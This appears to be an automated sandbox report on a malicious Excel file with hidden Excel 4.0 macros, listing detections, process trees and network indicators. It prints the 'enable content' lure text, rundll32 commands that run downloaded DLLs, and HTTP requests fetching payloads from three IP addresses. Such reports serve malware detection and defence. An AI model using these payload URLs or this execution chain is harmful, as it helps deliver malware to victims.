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Analysis Report a5c5a139_by_Libranalysis

Overview

General Information

Sample Name:	a5c5a139_by_Libranalysis (renamed file extension from none to xlsx)
Analysis ID:	414449
MD5:	a5c5a139b458c718527f59afe34a759a
SHA1:	a2743d88245ac25263afffd7f4dcbd0fe53e0bdf
SHA256:	16383e719fa9ff39d7d4dac2631fa8bfe0a6f63d5130c33053bc0db5e5aa1f89
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected Obfuscated Macro In XLSM

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Sigma detected: Microsoft Office Product Spawning Windows Shell

Excel documents contains an embedded macro which executes code when the document is opened

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 2516 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

rundll32.exe (PID: 2452 cmdline: rundll32 ..\lertio.cersw,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2472 cmdline: rundll32 ..\lertio.cersw1,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 3068 cmdline: rundll32 ..\lertio.cersw2,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
sheet1.xml	JoeSecurity_ObfuscatedMacroInXLSM	Yara detected Obfuscated Macro In XLSM	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 ..\lertio.cersw,DllRegisterServer, CommandLine: rundll32 ..\lertio.cersw,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2516, ProcessCommandLine: rundll32 ..\lertio.cersw,DllRegisterServer, ProcessId: 2452

Signature Overview

Click to jump to signature section

Show All Signature Results

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 45.90.57.62:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 45.90.57.62:80

Source: global traffic	HTTP traffic detected: GET /44330.7644571759.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 45.90.57.62Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44330.7644571759.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 185.198.57.83Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44330.7644571759.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 194.156.98.173Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.57.62
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.57.62
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.57.62
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.57.62
Source: unknown	TCP traffic detected without corresponding DNS query: 185.198.57.83
Source: unknown	TCP traffic detected without corresponding DNS query: 185.198.57.83
Source: unknown	TCP traffic detected without corresponding DNS query: 185.198.57.83
Source: unknown	TCP traffic detected without corresponding DNS query: 185.198.57.83
Source: unknown	TCP traffic detected without corresponding DNS query: 194.156.98.173
Source: unknown	TCP traffic detected without corresponding DNS query: 194.156.98.173
Source: unknown	TCP traffic detected without corresponding DNS query: 194.156.98.173
Source: unknown	TCP traffic detected without corresponding DNS query: 194.156.98.173
Source: unknown	TCP traffic detected without corresponding DNS query: 194.156.98.173
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.57.62
Source: unknown	TCP traffic detected without corresponding DNS query: 185.198.57.83
Source: unknown	TCP traffic detected without corresponding DNS query: 194.156.98.173
Source: unknown	TCP traffic detected without corresponding DNS query: 194.156.98.173
Source: unknown	TCP traffic detected without corresponding DNS query: 185.198.57.83
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.57.62

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DD3D6ABC.jpg

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /44330.7644571759.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 45.90.57.62Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44330.7644571759.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 185.198.57.83Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44330.7644571759.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 194.156.98.173Connection: Keep-Alive

Source: rundll32.exe, 00000003.00000002.2137860638.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2131820122.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125751466.0000000001B10000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: rundll32.exe, 00000003.00000002.2137860638.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2131820122.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125751466.0000000001B10000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000003.00000002.2137860638.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2131820122.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125751466.0000000001B10000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000003.00000002.2138066010.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2132039751.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125921530.0000000001CF7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000003.00000002.2138066010.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2132039751.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125921530.0000000001CF7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: rundll32.exe, 00000003.00000002.2138066010.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2132039751.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125921530.0000000001CF7000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000003.00000002.2138066010.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2132039751.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125921530.0000000001CF7000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: rundll32.exe, 00000003.00000002.2137860638.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2131820122.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125751466.0000000001B10000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000003.00000002.2138066010.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2132039751.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125921530.0000000001CF7000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000003.00000002.2137860638.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2131820122.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125751466.0000000001B10000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000006.00000002.2125751466.0000000001B10000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Document image extraction number: 0	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enabl
Source: Document image extraction number: 0	Screenshot OCR: Enable Content button from the yellow bar above
Source: Document image extraction number: 1	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enabl
Source: Document image extraction number: 1	Screenshot OCR: Enable Content button from the yellow bar above
Source: Screenshot number: 8	Screenshot OCR: Enable editing button from th Thespecified module could not befound. Once you have enabled editin

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: a5c5a139_by_Libranalysis.xlsx

Initial sample: EXEC

Source: workbook.xml

Binary string: <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x15 xr xr6 xr10 xr2" xmlns:x15="http://schemas.microsoft.com/office/spreadsheetml/2010/11/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xmlns:xr10="http://schemas.microsoft.com/office/spreadsheetml/2016/revision10" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2"><fileVersion appName="xl" lastEdited="7" lowestEdited="7" rupBuild="22730"/><workbookPr codeName="pallet"/><mc:AlternateContent xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"><mc:Choice Requires="x15"><x15ac:absPath url="E:\Nowiy\" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac"/></mc:Choice></mc:AlternateContent><xr:revisionPtr revIDLastSave="0" documentId="13_ncr:1_{B3E8A19E-5A5C-41C9-AA3C-CB4D56C02DF8}" xr6:coauthVersionLast="45" xr6:coauthVersionMax="45" xr10:uidLastSave="{00000000-0000-0000-0000-000000000000}"/><bookViews><workbookView xWindow="-120" yWindow="-120" windowWidth="29040" windowHeight="15990" xr2:uid="{00000000-000D-0000-FFFF-FFFF00000000}"/></bookViews><sheets><sheet name="Sheet" sheetId="8" r:id="rId1"/><sheet name="Sheet1" sheetId="3" state="hidden" r:id="rId2"/><sheet name="Sheet2" sheetId="22" state="hidden" r:id="rId3"/><sheet name="Sheet3" sheetId="30" state="hidden" r:id="rId4"/><sheet name="Sheet4" sheetId="29" state="hidden" r:id="rId5"/><sheet name="Sheet000" sheetId="26" state="hidden" r:id="rId6"/><sheet name="Sheet2323" sheetId="27" state="hidden" r:id="rId7"/></sheets><definedNames><definedName name="Hot">Sheet1!$F$5</definedName><definedName name="_xlnm.Auto_Open">Sheet2323!$A$1</definedName></definedNames><calcPr calcId="191029"/><extLst><ext uri="{B58B0392-4F1F-4190-BB64-5DF3571DCE5F}" xmlns:xcalcf="http://schemas.microsoft.com/office/spreadsheetml/2018/calcfeatures"><xcalcf:calcFeatures><xcalcf:feature name="microsoft.com:RD"/><xcalcf:feature name="microsoft.com:FV"/></xcalcf:calcFeatures></ext></extLst></workbook>

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal72.expl.evad.winXLSX@7/8@0/3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$a5c5a139_by_Libranalysis.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRE33D.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe rundll32 ..\lertio.cersw,DllRegisterServer

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\lertio.cersw,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\lertio.cersw1,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\lertio.cersw2,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\lertio.cersw,DllRegisterServer	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\lertio.cersw1,DllRegisterServer	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\lertio.cersw2,DllRegisterServer	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: a5c5a139_by_Libranalysis.xlsx	Initial sample: OLE zip file path = xl/media/image1.jpg
Source: a5c5a139_by_Libranalysis.xlsx	Initial sample: OLE zip file path = xl/calcChain.xml

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Data Obfuscation:

Yara detected Obfuscated Macro In XLSM

Show sources

Source: Yara match

File source: sheet1.xml, type: SAMPLE

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting11	Path Interception	Process Injection1	Masquerading1	OS Credential Dumping	File and Directory Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Non-Application Layer Protocol1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution22	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	System Information Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Rundll321	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting11	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
a5c5a139_by_Libranalysis.xlsx	0%	ReversingLabs

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://45.90.57.62/44330.7644571759.dat	0%	Avira URL Cloud	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://194.156.98.173/44330.7644571759.dat	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://185.198.57.83/44330.7644571759.dat	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.90.57.62/44330.7644571759.dat	false	Avira URL Cloud: safe	unknown
http://194.156.98.173/44330.7644571759.dat	false	Avira URL Cloud: safe	unknown
http://185.198.57.83/44330.7644571759.dat	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000003.00000002.2138066010.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2132039751.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125921530.0000000001CF7000.00000002.00000001.sdmp	false		high
http://www.windows.com/pctv.	rundll32.exe, 00000006.00000002.2125751466.0000000001B10000.00000002.00000001.sdmp	false		high
http://investor.msn.com	rundll32.exe, 00000003.00000002.2137860638.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2131820122.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125751466.0000000001B10000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000003.00000002.2137860638.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2131820122.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125751466.0000000001B10000.00000002.00000001.sdmp	false		high
http://www.icra.org/vocabulary/.	rundll32.exe, 00000003.00000002.2138066010.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2132039751.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125921530.0000000001CF7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000003.00000002.2138066010.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2132039751.0000000001D27000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125921530.0000000001CF7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000003.00000002.2137860638.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2131820122.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125751466.0000000001B10000.00000002.00000001.sdmp	false		high
http://investor.msn.com/	rundll32.exe, 00000003.00000002.2137860638.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2131820122.0000000001B40000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2125751466.0000000001B10000.00000002.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
185.198.57.83	unknown	Netherlands	60117	HSAE	false
45.90.57.62	unknown	Bulgaria	204957	GREENFLOID-ASUA	false
194.156.98.173	unknown	Russian Federation	135330	ADCDATACOM-AS-APADCDATACOMHK	false

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	414449
Start date:	14.05.2021
Start time:	18:19:44
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	a5c5a139_by_Libranalysis (renamed file extension from none to xlsx)
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.expl.evad.winXLSX@7/8@0/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
185.198.57.83	de2e6c2a_by_Libranalysis.xlsx	Get hash	malicious	Browse	185.198.57.83/44330.7472140046.dat
185.198.57.83	de2e6c2a_by_Libranalysis.xlsx	Get hash	malicious	Browse	185.198.57.83/44330.7422190972.dat
45.90.57.62	de2e6c2a_by_Libranalysis.xlsx	Get hash	malicious	Browse	45.90.57.62/44330.7472140046.dat
45.90.57.62	de2e6c2a_by_Libranalysis.xlsx	Get hash	malicious	Browse	45.90.57.62/44330.7422190972.dat
194.156.98.173	de2e6c2a_by_Libranalysis.xlsx	Get hash	malicious	Browse	194.156.98.173/44330.7472140046.dat
194.156.98.173	de2e6c2a_by_Libranalysis.xlsx	Get hash	malicious	Browse	194.156.98.173/44330.7422190972.dat

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HSAE	de2e6c2a_by_Libranalysis.xlsx	Get hash	malicious	Browse	185.198.57.83
	de2e6c2a_by_Libranalysis.xlsx	Get hash	malicious	Browse	185.198.57.83
	OHTwo9pVp7.xlsx	Get hash	malicious	Browse	185.183.96.233
	OHTwo9pVp7.xlsx	Get hash	malicious	Browse	185.183.96.233
	0pHHclhVsj.exe	Get hash	malicious	Browse	185.117.73.222
	a4sBXU1Yqx.exe	Get hash	malicious	Browse	185.117.73.222
	TYH8f58Xad.exe	Get hash	malicious	Browse	185.117.73.222
	SVCj8158Aq.exe	Get hash	malicious	Browse	185.117.73.222
	20nKUzfIgk.exe	Get hash	malicious	Browse	185.117.73.222
	wKpvhzIoO0.exe	Get hash	malicious	Browse	185.117.73.222
	25PGo0fSFz.exe	Get hash	malicious	Browse	185.117.73.222
	Nl0L0K7vrA.exe	Get hash	malicious	Browse	185.117.73.222
	TYH8f58Xad.exe	Get hash	malicious	Browse	185.117.73.222
